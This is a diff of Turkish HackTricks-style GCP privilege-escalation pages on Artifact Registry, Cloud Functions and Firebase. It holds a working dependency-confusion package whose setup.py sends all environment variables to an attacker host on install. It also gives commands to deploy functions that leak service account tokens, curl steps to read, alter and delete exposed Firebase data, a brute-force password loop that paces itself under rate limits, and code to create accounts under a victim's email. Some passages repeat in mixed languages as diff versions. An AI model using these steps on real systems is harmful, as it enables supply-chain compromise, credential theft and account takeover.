Bir Cloud Function oluşturulduğunda proje Artifact Registry'sine yeni bir docker image push edilir. Görüntüyü yeni bir tane ile değiştirmeyi, hatta mevcut image'ı (ve `cache` image'ını) silmeyi denedim fakat hiçbir şey değişmedi; cloud function çalışmaya devam etti. Bu yüzden, tıpkı bucket'larda olduğu gibi çalıştırılacak docker container'ı değiştirmek için bir Race Condition attack'ı suistimal etmek mümkün olabilir, fakat sadece depolanan image'ı değiştirmek Cloud Function'ı ele geçirmek için yeterli değil.
|
||||
When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. Yeni bir image ile mevcut imajı değiştirmeyi denedim, hatta mevcut imajı (ve `cache` imajını) silmeyi bile denedim ama hiçbir şey değişmedi, cloud function çalışmaya devam etti. Bu nedenle, tıpkı bucket ile olduğu gibi bir **Race Condition attack** suistimal edilerek çalıştırılacak docker container'ı değiştirmek mümkün olabilir ama **sadece depolanan imajı değiştirmek Cloud Function'ı ele geçirmeye yetmiyor**.
|
||||
|
||||
- **App Engine**
|
||||
|
||||
App Engine, Artifact Registry içinde docker image'lar oluşturmasına rağmen. Servis içindeki image'ı **değiştirseniz bile** ve App Engine instance'ını kaldırıp (yeni bir tane deploy edildiğinde) **çalıştırılan kod değişmiyor**.\
|
||||
Bucket'larda olduğu gibi bir **Race Condition attack** gerçekleştirilerek çalıştırılan kodun overwrite edilmesi mümkün olabilir, ancak bu test edilmedi.
|
||||
Even though App Engine creates docker images inside Artifact Registry. Test edildi ki **bu servis içindeki imajı değiştirmiş olsanız bile** ve App Engine örneğini kaldırıp (yeni bir tane deploy edilse bile) **çalıştırılan kod değişmiyor**.\
|
||||
bucket'larda olduğu gibi bir **Race Condition attack** gerçekleştirerek çalıştırılan kodu üstüne yazmak mümkün olabilir, ancak bu test edilmedi.
|
||||
|
||||
|
||||
### `artifactregistry.repositories.update`
|
||||
Bir saldırganın bu sorunu istismar etmek için özel Artifact Registry izinlerine ihtiyacı yok—sadece zayıf bir virtual-repository konfigürasyonu yeterlidir. Bu durum, bir virtual repository uzaktaki bir public repository (ör. PyPI, npm) ile internal bir repository'yi birleştirdiğinde ve remote kaynağın eşit veya daha yüksek önceliğe sahip olduğunda ortaya çıkar. Her ikisinde de aynı ada sahip bir paket varsa sistem en yüksek versiyonu seçer. Saldırganın sadece iç paketin adını bilmesi ve ilgili public registry'ye paket yayınlayabilmesi gerekir.
|
||||
|
||||
`artifactregistry.repositories.update` izniyle bir saldırgan, bir virtual repository'nin upstream ayarlarını değiştirerek kasıtlı olarak bu zayıf yapılandırmayı oluşturabilir ve Dependency Confusion'ı bir persistence yöntemi olarak kullanıp geliştiricilerin veya CI/CD sistemlerinin otomatik olarak yükleyebileceği kötü amaçlı paketler yerleştirebilir.
|
||||
|
||||
Saldırgan, public repository'de iç paketin daha yüksek sürümlü kötü amaçlı bir versiyonunu oluşturur. Python paketleri için bu, meşru yapıyı taklit eden bir paket yapısı hazırlamak anlamına gelir.
|
||||
```bash
|
||||
mkdir /tmp/malicious_package
|
||||
cd /tmp/malicious_package
|
||||
PACKAGE_NAME="<package-name>"
|
||||
mkdir "$PACKAGE_NAME"
|
||||
touch "$PACKAGE_NAME/__init__.py"
|
||||
```
|
||||
Ardından, kurulum sırasında çalışacak kötü amaçlı kod içeren bir setup.py dosyası oluşturulur. Bu dosya, özel depodaki sürümden daha yüksek bir sürüm numarası belirtmelidir.
|
||||
```bash
|
||||
cat > setup.py << 'EOF'
|
||||
import setuptools
|
||||
from setuptools.command.install import install
|
||||
import os
|
||||
import urllib.request
|
||||
import urllib.parse
|
||||
|
||||
def malicious_function():
|
||||
data = dict(os.environ)
|
||||
encoded_data = urllib.parse.urlencode(data).encode()
|
||||
url = 'https://<ip-atacante>/exfil'
|
||||
req = urllib.request.Request(url, data=encoded_data)
|
||||
urllib.request.urlopen(req)
|
||||
|
||||
class AfterInstall(install):
|
||||
def run(self):
|
||||
install.run(self)
|
||||
malicious_function()
|
||||
|
||||
setuptools.setup(
|
||||
name = "<package-name>",
|
||||
version = "0.1.1",
|
||||
packages = ["<package-name>"],
|
||||
cmdclass={'install': AfterInstall},
|
||||
)
|
||||
EOF
|
||||
```
|
||||
Paketi oluşturun ve kurulum sırasında kodun çalıştırılmasını sağlamak için wheel'i silin.
|
||||
```bash
|
||||
python3 setup.py sdist bdist_wheel
|
||||
rm dist/<package-name>*.whl
|
||||
```
|
||||
Kötücül paketi genel depoya yükleyin (örneğin, Python için test.pypi.org).
|
||||
```bash
|
||||
pip install twine
|
||||
twine upload --repository testpypi dist/*
|
||||
```
|
||||
Bir sistem veya servis paketi virtual repository kullanarak kurduğunda, zararlı sürüm daha yüksek olduğu ve uzak repository eşit veya daha yüksek önceliğe sahip olduğu için, meşru dahili repository yerine public repository'den zararlı sürümü indirir.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,21 +12,19 @@ Cloud Functions hakkında daha fazla bilgi:
|
||||
|
||||
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
Bu ayrıcalıklara sahip bir saldırgan **rastgele (kötü amaçlı) kod içeren yeni bir Cloud Function oluşturup bir Service Account atayabilir**. Ardından metadata'dan Service Account token'ını leak ederek bu hesaba ayrıcalık yükseltmesi yapabilir.
|
||||
Bu ayrıcalıklara sahip bir saldırgan **istenilen (zararlı) kodla yeni bir Cloud Function oluşturabilir ve ona bir Service Account atayabilir**. Sonra, Service Account token'ını metadata'dan leak ederek o hesaba yetki yükseltebilir.\
|
||||
Fonksiyonu tetiklemek için bazı ayrıcalıklar gerekebilir.
|
||||
|
||||
Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
|
||||
|
||||
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
Bu ayrıcalıklara sahip bir saldırgan **bir Function'ın kodunu değiştirebilir ve hatta iliştirilmiş service account'u değiştirerek token'ı exfiltrating etmeyi amaçlayabilir**.
|
||||
Bu ayrıcalıklara sahip bir saldırgan **bir Function'ın kodunu değiştirebilir ve hatta iliştirilmiş Service Account'u token'ı exfiltrating etmek amacıyla değiştirebilir**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Cloud functions deploy etmek için varsayılan compute service account üzerinde veya imajı oluşturmak için kullanılan service account üzerinde actAs izinlerine de ihtiyacınız olacaktır.
|
||||
> Cloud functions deploy etmek için ayrıca default compute service account veya imajı build etmek için kullanılan service account üzerinde actAs izinlerine ihtiyaç vardır.
|
||||
|
||||
Bazı ek ayrıcalıklar, örneğin versiyon 1 cloudfunctions için `.call` izni veya fonksiyonu tetiklemek için `role/run.invoker` rolü gerekebilir.
|
||||
|
||||
<details><summary>Cloud Function'ı kötü amaçlı kodla güncelleyerek service account token'ını exfiltrate etme</summary>
|
||||
Fonksiyonu tetiklemek için version 1 cloudfunctions için `.call` izni veya `role/run.invoker` rolü gibi ek ayrıcalıklar gerekebilir.
|
||||
```bash
|
||||
# Create new code
|
||||
temp_dir=$(mktemp -d)
|
||||
@@ -56,18 +54,14 @@ gcloud functions deploy <cloudfunction-name> \
|
||||
# Get SA token calling the new function code
|
||||
gcloud functions call <cloudfunction-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Eğer `Permission 'run.services.setIamPolicy' denied on resource...` hatası alıyorsanız bunun nedeni `--allow-unauthenticated` parametresini kullanıyor olmanız ve bunun için yeterli izne sahip olmamanızdır.
|
||||
> Eğer `Permission 'run.services.setIamPolicy' denied on resource...` hatasını alıyorsanız, bunun nedeni `--allow-unauthenticated` parametresini kullanmanız ve bunun için yeterli izinlere sahip olmamanızdır.
|
||||
|
||||
The exploit script for this method can be found [burada](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeSet`
|
||||
|
||||
Bu izin ile bir function bucket'a dosya yükleyebilmek için **signed URL** alabilirsiniz (ancak fonksiyonun kodu değişmeyecek, yine de güncellemeniz gerekir)
|
||||
|
||||
<details><summary>Cloud Function için signed upload URL oluştur</summary>
|
||||
Bu izin ile bir fonksiyon bucket'ına dosya yükleyebilmek için **imzalı bir URL alabilirsiniz (ancak fonksiyonun kodu değiştirilmeyecek, yine de güncellemeniz gerekir)**
|
||||
```bash
|
||||
# Generate the URL
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
|
||||
@@ -75,38 +69,49 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
</details>
|
||||
|
||||
Tek başına bu iznin bir attacker açısından ne kadar faydalı olduğundan tam olarak emin değilim, ama bilmek iyi.
|
||||
Bu iznin tek başına attackers'ın bakış açısından ne kadar kullanışlı olduğunu pek bilmiyorum, ama bilmek iyi.
|
||||
|
||||
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
|
||||
|
||||
Kendinize yükseltme yapmak için önceki herhangi bir **`.update`** veya **`.create`** ayrıcalığını verin.
|
||||
|
||||
Yükselmek için kendinize önceki herhangi bir **`.update`** veya **`.create`** ayrıcalığını verin.
|
||||
```bash
|
||||
gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
|
||||
--region=<REGION> \
|
||||
--member="<MIEMBRO>" \
|
||||
--role="roles/cloudfunctions.invoker"
|
||||
```
|
||||
### `cloudfunctions.functions.update`
|
||||
|
||||
Sadece **`cloudfunctions`** izinlerine sahip olup **`iam.serviceAccounts.actAs`** yoksa function'ı güncelleyemeyeceksiniz, YANİ BU GEÇERLİ BİR PRIVESC DEĞİL.
|
||||
Sadece **`cloudfunctions`** izinlerine sahip olmak, **`iam.serviceAccounts.actAs`** izni olmadan **fonksiyonu güncelleyemezsiniz; BU YÜZDEN BU GEÇERLİ BİR PRIVESC DEĞİLDİR.**
|
||||
|
||||
### Read & Write Access over the bucket
|
||||
### Fonksiyonları çağırma
|
||||
`cloudfunctions.functions.get`, `cloudfunctions.functions.invoke`, `run.jobs.run`, ve `run.routes.invoke` izinlerine sahip bir kimlik, Cloud Functions'ı doğrudan çağırabilir. Ayrıca fonksiyonun genel trafiğe izin vermesi veya çağıranın fonksiyonla aynı ağ içinde olması gerekir.
|
||||
```bash
|
||||
curl -X POST "https://<FUNCTION_URL>" \
|
||||
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{ "name": "Developer" }'
|
||||
```
|
||||
### Bucket üzerinde Okuma & Yazma Erişimi
|
||||
|
||||
Bucket üzerinde read ve write erişiminiz varsa koddaki değişiklikleri izleyebilir ve bir **bucket'ta bir update olduğunda yeni kodu kendi kodunuzla güncelleyebilirsiniz**; böylece Cloud Function'ın yeni sürümü gönderilmiş backdoored kod ile çalışacaktır.
|
||||
Eğer bucket üzerinde okuma ve yazma erişiminiz varsa koddaki değişiklikleri izleyebilir ve bucket'ta bir **güncelleme olduğunda yeni kodu kendi kodunuzla güncelleyebilirsiniz**; böylece Cloud Function'ın yeni versiyonu yüklenmiş backdoor'lu kod ile çalıştırılır.
|
||||
|
||||
You can check more about the attack in:
|
||||
Saldırı hakkında daha fazlasını şurada inceleyebilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Ancak, bu yöntemi üçüncü taraf Cloud Functions'ları önceden ele geçirmek için kullanamazsınız çünkü bucket'ı kendi hesabınızda oluşturup dış projeye yazma izni verirseniz şu hatayı alırsınız:
|
||||
Ancak bunu üçüncü taraf Cloud Function'ları önceden ele geçirmek için kullanamazsınız çünkü eğer bucket'ı kendi hesabınızda oluşturup dış projenin üzerine yazabilmesi için herkese açık izin verirseniz, aşağıdaki hatayı alırsınız:
|
||||
|
||||
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> Ancak, bu DoS saldırıları için kullanılabilir.
|
||||
> Ancak bu, DoS saldırıları için kullanılabilir.
|
||||
|
||||
### Read & Write Access over Artifact Registry
|
||||
### Artifact Registry üzerinde Okuma & Yazma Erişimi
|
||||
|
||||
Bir Cloud Function oluşturulduğunda proje Artifact Registry'sine yeni bir docker image push edilir. Görüntüyü yenisiyle değiştirmeye, hatta mevcut image'i (ve `cache` image'ini) silmeye çalıştım ve hiçbir şey değişmedi, cloud function çalışmaya devam etti. Bu yüzden, bucket ile olduğu gibi çalıştırılacak docker container'ı değiştirmek için bir Race Condition attack abuse etmek mümkün olabilir ama sadece saklanan image'i değiştirmek Cloud Function'ı ele geçirmek için yeterli değildir.
|
||||
Bir Cloud Function oluşturulduğunda projenin Artifact Registry'sine yeni bir docker image gönderilir. Image'ı yeni bir tane ile değiştirmeyi denedim, hatta mevcut image'ı (ve `cache` image'ını) sildim ama hiçbir şey değişmedi, cloud function çalışmaya devam etti. Bu nedenle, bucket'ta olduğu gibi çalıştırılacak docker container'ı değiştirmek için **Race Condition attack** suistimal etmek mümkün olabilir ama **saklanan image'ı sadece değiştirmek Cloud Function'ı ele geçirmek için yeterli değildir**.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -0,0 +1,444 @@
|
||||
# GCP - Firebase Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Firebase
|
||||
|
||||
### Unauthenticated access to Firebase Realtime Database
|
||||
Bir saldırganın bu saldırıyı gerçekleştirmek için özel bir Firebase iznine ihtiyacı yoktur. Gerekli olan tek şey, Firebase Realtime Database security rules içinde `.read: true` veya `.write: true` şeklinde ayarlanmış, herkese açık okuma veya yazma izni veren zayıf bir konfigürasyondur.
|
||||
|
||||
Saldırgan, genellikle şu formatta olan veritabanı URL'sini tespit etmelidir: `https://<project-id>.firebaseio.com/`.
|
||||
|
||||
Bu URL, mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps), google-services.json (Android) veya GoogleService-Info.plist (iOS) gibi yapılandırma dosyalarının incelenmesi, web uygulamalarının kaynak kodunun gözden geçirilmesi veya ağ trafiğinin incelenerek `*.firebaseio.com` domain'lerine yapılan isteklerin tespit edilmesi yoluyla bulunabilir.
|
||||
|
||||
Saldırgan, veritabanı URL'sini tespit edip bunun herkese açık olup olmadığını kontrol eder, ardından veriye erişir ve potansiyel olarak kötü amaçlı bilgi yazabilir.
|
||||
|
||||
İlk olarak, veritabanının okuma erişimine izin verip vermediğini kontrol etmek için URL'ye .json ekler.
|
||||
```bash
|
||||
curl https://<project-id>-default-rtdb.firebaseio.com/.json
|
||||
```
|
||||
Eğer yanıt JSON verisi veya null içeriyorsa ("Permission Denied" yerine), veritabanı okuma erişimine izin veriyor demektir. Yazma erişimini kontrol etmek için saldırgan, Firebase REST API'yi kullanarak test amaçlı bir yazma isteği göndermeyi deneyebilir.
|
||||
```bash
|
||||
curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
|
||||
```
|
||||
İşlem başarılı olursa, veritabanı ayrıca yazma erişimine de izin verir.
|
||||
|
||||
### Cloud Firestore'da verilerin açığa çıkması
|
||||
Bir saldırganın bu saldırıyı gerçekleştirmek için herhangi bir özel Firebase iznine ihtiyacı yoktur. Tek gereken, Cloud Firestore güvenlik kurallarında kuralların kimlik doğrulama olmadan veya yetersiz doğrulama ile okuma veya yazma erişimine izin verdiği bir zayıf yapılandırmanın bulunmasıdır. Tam erişim veren yanlış yapılandırılmış bir kurala örnek:
|
||||
```bash
|
||||
service cloud.firestore {
|
||||
match /databases/{database}/documents/{document=**} {
|
||||
allow read, write: if true;
|
||||
}
|
||||
}
|
||||
```
|
||||
Bu kural, herkesin tüm dokümanları herhangi bir kısıtlama olmaksızın okumasına ve yazmasına izin verir. Firestore kuralları ayrıntılıdır ve koleksiyon ve doküman bazında uygulanır; bu nedenle belirli bir kuraldaki bir hata yalnızca bazı koleksiyonları açığa çıkarabilir.
|
||||
|
||||
Saldırgan, Firebase Project ID'yi tespit etmelidir; bu, mobil uygulama reverse engineering yoluyla, google-services.json veya GoogleService-Info.plist gibi yapılandırma dosyalarının analizi, web uygulamalarının kaynak kodunun incelenmesi veya firestore.googleapis.com isteklerini tespit etmek için ağ trafiğinin analiz edilmesi yoluyla bulunabilir.
|
||||
The Firestore REST API şu formatı kullanır:
|
||||
```bash
|
||||
https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
Kurallar kimlik doğrulaması olmayan okuma erişimine izin veriyorsa, saldırgan koleksiyonları ve dokümanları okuyabilir. İlk olarak belirli bir koleksiyona erişmeye çalışırlar:
|
||||
```bash
|
||||
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
|
||||
```
|
||||
Yanıt izin hatası yerine JSON belgeleri içeriyorsa, collection açığa çıkmış demektir. Saldırgan, yaygın isimleri deneyerek veya uygulamanın yapısını analiz ederek erişilebilen tüm collectionları listeleyebilir. Belirli bir belgeye erişmek için:
|
||||
```bash
|
||||
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
Eğer kurallar kimlik doğrulaması olmadan yazma erişimine izin veriyorsa veya doğrulama yetersizse, saldırgan yeni belgeler oluşturabilir:
|
||||
```bash
|
||||
curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"fields": {
|
||||
"name": {"stringValue": "Test"},
|
||||
"email": {"stringValue": "test@example.com"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
Mevcut bir belgeyi değiştirmek için PATCH kullanılmalıdır:
|
||||
```bash
|
||||
curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"fields": {
|
||||
"role": {"stringValue": "admin"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
Bir belgeyi silmek ve hizmet reddine (DoS) neden olmak için:
|
||||
```bash
|
||||
curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
### Firebase Storage'da dosyaların açığa çıkması
|
||||
Bir saldırganın bu saldırıyı gerçekleştirmek için herhangi bir özel Firebase permissions'a ihtiyacı yoktur. Tek gereken, Firebase Storage security rules içinde kuralların authentication olmadan veya yetersiz doğrulama ile read veya write access izni verdiği bir hatalı yapılandırmanın bulunmasıdır. Storage rules read ve write permissions'i bağımsız olarak kontrol eder; bu nedenle bir kuraldaki hata yalnızca read access'i, yalnızca write access'i veya her ikisini birden açığa çıkarabilir. Tam erişim veren hatalı yapılandırılmış bir kural örneği şudur:
|
||||
```bash
|
||||
service cloud.firestore {
|
||||
match /databases/{database}/documents/{document=**} {
|
||||
allow read, write: if true;
|
||||
}
|
||||
}
|
||||
```
|
||||
Bu kural, tüm belgeler için herhangi bir kısıtlama olmaksızın okuma ve yazma erişimine izin verir. Firestore kuralları granülerdir ve koleksiyon bazında ve belge bazında uygulanır; bu nedenle belirli bir kuraldaki bir hata yalnızca bazı koleksiyonları açığa çıkarabilir. Saldırgan, Firebase Project ID'sini tespit etmelidir; bu ID mobil uygulamanın reverse engineering'i, google-services.json veya GoogleService-Info.plist gibi yapılandırma dosyalarının analizi, web uygulaması kaynak kodunun incelenmesi veya firestore.googleapis.com'a yapılan istekleri tespit etmek için ağ trafiği analizi yoluyla bulunabilir.
|
||||
|
||||
Firestore REST API şu formatı kullanır:`https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`
|
||||
|
||||
Kurallar kimlik doğrulamasız okuma erişimine izin veriyorsa, saldırgan koleksiyonları ve belgeleri okuyabilir. İlk olarak belirli bir koleksiyona erişmeye çalışır.
|
||||
```bash
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
|
||||
```
|
||||
Eğer yanıt izin hatası yerine dosyaların listesini içeriyorsa, dosya açığa çıkmıştır. attacker, dosyaların içeriğini yollarını belirterek görüntüleyebilir:
|
||||
```bash
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
|
||||
```
|
||||
Kurallar kimlik doğrulama olmadan yazma erişimine izin veriyorsa veya yetersiz doğrulama varsa, saldırgan kötü amaçlı dosyalar yükleyebilir. REST API üzerinden bir dosya yüklemek için:
|
||||
```bash
|
||||
curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
|
||||
-H "Content-Type: <content-type>" \
|
||||
--data-binary @<local-file>
|
||||
```
|
||||
Saldırgan code shells, malware payloads veya büyük dosyalar yükleyerek bir denial of service oluşturabilir. Uygulama yüklenen dosyaları işler veya çalıştırırsa, saldırgan remote code execution elde edebilir. Dosyaları silmek ve bir denial of service oluşturmak için:
|
||||
```bash
|
||||
curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
|
||||
```
|
||||
### Genel erişime açık Firebase Cloud Functions'ın çağrılması
|
||||
Bir saldırganın bu zafiyeti istismar etmek için özel bir Firebase iznine ihtiyacı yoktur; yalnızca bir Cloud Function'ın kimlik doğrulama olmadan HTTP üzerinden genel erişime açık olması yeterlidir.
|
||||
|
||||
Bir fonksiyon, güvensiz yapılandırıldığında savunmasızdır:
|
||||
|
||||
- functions.https.onRequest kullanır; bu, onCall fonksiyonlarının aksine kimlik doğrulamayı zorunlu kılmaz.
|
||||
- Fonksiyonun kodu kullanıcı kimlik doğrulamasını doğrulamaz (ör. request.auth veya context.auth kontrolleri yok).
|
||||
- Fonksiyon IAM içinde genel erişime açıktır; yani allUsers'a roles/cloudfunctions.invoker rolü verilmiştir. Bu, geliştirici erişimi kısıtlamadığı sürece HTTP fonksiyonları için varsayılan davranıştır.
|
||||
|
||||
Firebase HTTP Cloud Functions şu gibi URL'ler üzerinden erişilebilir:
|
||||
|
||||
- https://<region>-<project-id>.cloudfunctions.net/<function-name>
|
||||
- https://<project-id>.web.app/<function-name> (Firebase Hosting ile entegre olduğunda)
|
||||
|
||||
Bir saldırgan bu URL'leri source code analysis, network traffic inspection, enumeration tools veya mobile app reverse engineering yoluyla keşfedebilir.
|
||||
Fonksiyon genel olarak açığa çıkarılmış ve kimlik doğrulama gerektirmiyorsa, saldırgan kimlik bilgisi olmadan doğrudan çağırabilir.
|
||||
```bash
|
||||
# Invoke public HTTP function with GET
|
||||
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
|
||||
# Invoke public HTTP function with POST and data
|
||||
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"param1": "value1", "param2": "value2"}'
|
||||
```
|
||||
Fonksiyon girdileri doğru şekilde doğrulanmazsa, saldırgan code injection veya command injection gibi diğer saldırılara başvurabilir.
|
||||
|
||||
### Brute-force attack against Firebase Authentication with a weak password policy
|
||||
Bir saldırganın bu saldırıyı gerçekleştirmek için özel bir Firebase iznine ihtiyacı yoktur. Sadece Firebase API Key'in mobil veya web uygulamalarında ifşa edilmiş olması ve parola politikasının varsayılanlardan daha katı gereksinimlerle yapılandırılmamış olması gerekir.
|
||||
|
||||
Saldırgan, Firebase API Key'i tespit etmelidir; bu anahtar mobil uygulama reverse engineering ile, google-services.json veya GoogleService-Info.plist gibi yapılandırma dosyalarının analiz edilmesiyle, web uygulamalarının kaynak kodunun incelenmesiyle (ör. bootstrap.js içinde) veya ağ trafiğinin analiz edilmesiyle bulunabilir.
|
||||
|
||||
Firebase Authentication’ın REST API'si, e-posta ve parola ile kimlik doğrulamak için şu endpoint'i kullanır:
|
||||
`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
|
||||
|
||||
Eğer Email Enumeration Protection devre dışıysa, API hata yanıtları bir e-postanın sistemde var olup olmadığını (EMAIL_NOT_FOUND vs. INVALID_PASSWORD) açığa çıkarabilir; bu da saldırganların parola tahminine başlamadan önce user enumeration yapmasına olanak tanır. Bu koruma etkinleştirildiğinde, API mevcut olmayan e-postalar ve yanlış parolalar için aynı hata mesajını döndürerek user enumeration'ı engeller.
|
||||
|
||||
Firebase Authentication'ın rate limiting uyguladığını not etmek önemlidir; bu, kısa süre içinde çok fazla kimlik doğrulama denemesi olursa istekleri engelleyebilir. Bu nedenle, saldırganın rate-limited olmamak için denemeler arasında gecikme eklemesi gerekir.
|
||||
|
||||
Saldırgan API Key'i tespit eder ve bilinen hesaplara karşı birden çok parola ile kimlik doğrulama denemeleri gerçekleştirir. Eğer Email Enumeration Protection devre dışıysa, saldırgan hata yanıtlarını analiz ederek mevcut kullanıcıları enumerate edebilir:
|
||||
```bash
|
||||
# Attempt authentication with a known email and an incorrect password
|
||||
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"email": "usuario@example.com",
|
||||
"password": "password",
|
||||
"returnSecureToken": true
|
||||
}'
|
||||
```
|
||||
Yanıt EMAIL_NOT_FOUND içeriyorsa, e‑posta sistemde mevcut değildir. INVALID_PASSWORD içeriyorsa, e‑posta mevcut ancak şifre yanlış; bu, kullanıcının kayıtlı olduğunu doğrular. Geçerli bir kullanıcı belirlendikten sonra saldırgan brute-force denemeleri yapabilir. Denemeler arasında duraklamalar eklemek, Firebase Authentication'ın oran sınırlama mekanizmalarından kaçınmak için önemlidir:
|
||||
```bash
|
||||
counter=1
|
||||
for password in $(cat wordlist.txt); do
|
||||
echo "Intento $counter: probando contraseña '$password'"
|
||||
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")
|
||||
|
||||
if echo "$response" | grep -q "idToken"; then
|
||||
echo "Contraseña encontrada: $password (intento $counter)"
|
||||
break
|
||||
fi
|
||||
|
||||
# Stop for the rate limiting
|
||||
sleep 1
|
||||
counter=$((counter + 1))
|
||||
done
|
||||
```
|
||||
Varsayılan parola politikasıyla (minimum 6 karakter, karmaşıklık gereksinimi yok), saldırgan tüm olası 6 karakterlik parola kombinasyonlarını deneyebilir; bu, daha katı parola politikalarına kıyasla nispeten küçük bir arama alanı anlamına gelir.
|
||||
|
||||
### Firebase Authentication'da kullanıcı yönetimi
|
||||
|
||||
Saldırganın bu saldırıyı gerçekleştirebilmesi için belirli Firebase Authentication izinlerine ihtiyacı vardır. Gerekli izinler şunlardır:
|
||||
|
||||
- `firebaseauth.users.create` kullanıcı oluşturmak için
|
||||
- `firebaseauth.users.update` mevcut kullanıcıları değiştirmek için
|
||||
- `firebaseauth.users.delete` kullanıcıları silmek için
|
||||
- `firebaseauth.users.get` kullanıcı bilgilerini almak için
|
||||
- `firebaseauth.users.sendEmail` kullanıcılara e-posta göndermek için
|
||||
- `firebaseauth.users.createSession` kullanıcı oturumları oluşturmak için
|
||||
|
||||
Bu izinler `roles/firebaseauth.admin` rolünde yer alır; bu rol Firebase Authentication kaynaklarına tam okuma/yazma erişimi verir. Ayrıca roles/firebase.developAdmin (tüm firebaseauth.* izinlerini içerir) ve roles/firebase.admin (tüm Firebase servislerine tam erişim) gibi daha üst düzey rollerde de bulunur.
|
||||
|
||||
Firebase Admin SDK'yı kullanmak için saldırganın servis hesabı kimlik bilgilerine (JSON dosyası) erişimi olması gerekir; bunlar ele geçirilmiş sistemlerde, kamuya açık kod depolarında, ele geçirilmiş CI/CD sistemlerinde veya bu kimlik bilgilerine erişimi olan geliştirici hesaplarının ele geçirilmesi yoluyla bulunabilir.
|
||||
|
||||
İlk adım, servis hesabı kimlik bilgilerini kullanarak Firebase Admin SDK'yı yapılandırmaktır.
|
||||
```bash
|
||||
import firebase_admin
|
||||
from firebase_admin import credentials, auth
|
||||
cred = credentials.Certificate('path/to/serviceAccountKey.json')
|
||||
firebase_admin.initialize_app(cred)
|
||||
```
|
||||
Bir malicious user oluşturmak amacıyla victim’s email kullanılarak, attacker Firebase Admin SDK'ı kullanıp o email altında yeni bir hesap oluşturmaya çalışırdı.
|
||||
```bash
|
||||
user = auth.create_user(
|
||||
email='victima@example.com',
|
||||
email_verified=False,
|
||||
password='password123',
|
||||
display_name='Usuario Malicioso',
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario creado: {user.uid}')
|
||||
```
|
||||
Mevcut bir kullanıcıyı değiştirmek için saldırgan, e-posta adresi, doğrulama durumu veya hesabın devre dışı bırakılmış olup olmadığı gibi alanları günceller.
|
